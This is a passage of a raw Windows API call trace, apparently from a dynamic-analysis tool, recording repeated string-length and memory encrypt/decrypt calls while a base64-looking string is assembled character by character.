[2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.327] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.327] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.327] SysStringLen (param_1="") returned 0x8 [0127.327] SysStringLen (param_1="Y") returned 0x8 [0127.327] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.327] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0127.328] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0127.328] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.328] SysStringLen (param_1="YW") returned 0x8 [0127.328] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.328] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0127.328] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0127.328] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.328] SysStringLen (param_1="YWM") returned 0x8 [0127.328] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.328] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0127.328] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0127.328] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.328] SysStringLen (param_1="YWM1") returned 0x8 [0127.328] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.328] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0127.328] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0127.328] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.329] SysStringLen (param_1="YWM1O") returned 0x8 [0127.329] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.329] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0127.329] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0127.329] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.329] SysStringLen (param_1="YWM1OT") returned 0x8 [0127.329] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.329] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0127.329] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0127.329] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.329] SysStringLen (param_1="YWM1OTE") returned 0x8 [0127.329] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.329] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0127.329] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0127.329] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.329] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0127.329] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.329] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.330] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.330] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.330] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0127.330] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.330] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0127.330] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.330] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0127.330] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0127.330] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.330] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0127.330] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.330] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0127.330] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0127.330] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.330] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0127.330] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.330] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0127.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0127.331] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.331] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0127.331] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0127.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0127.331] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.331] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0127.331] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0127.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0127.331] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.331] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0127.331] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0127.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0127.331] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.331] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0127.333] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0127.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0127.333] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.333] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0127.333] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0127.334] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.334] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0127.334] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0127.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0127.334] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.334] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0127.334] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0127.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0127.334] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.334] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0127.334] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0127.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0127.334] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.335] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0127.335] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0127.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0127.335] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.335] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0127.335] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0127.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0127.335] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.335] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0127.335] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0127.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0127.335] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.335] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0127.335] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0127.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0127.336] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.336] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0127.336] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0127.336] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.336] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0127.336] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0127.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0127.336] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.336] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0127.336] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0127.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0127.337] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.337] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0127.337] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0127.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0127.337] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.337] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0127.337] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0127.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0127.337] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.337] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0127.337] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0127.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0127.337] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.337] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0127.338] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0127.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0127.338] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.338] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0127.338] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0127.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0127.338] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.338] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0127.338] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.338] SysStringLen 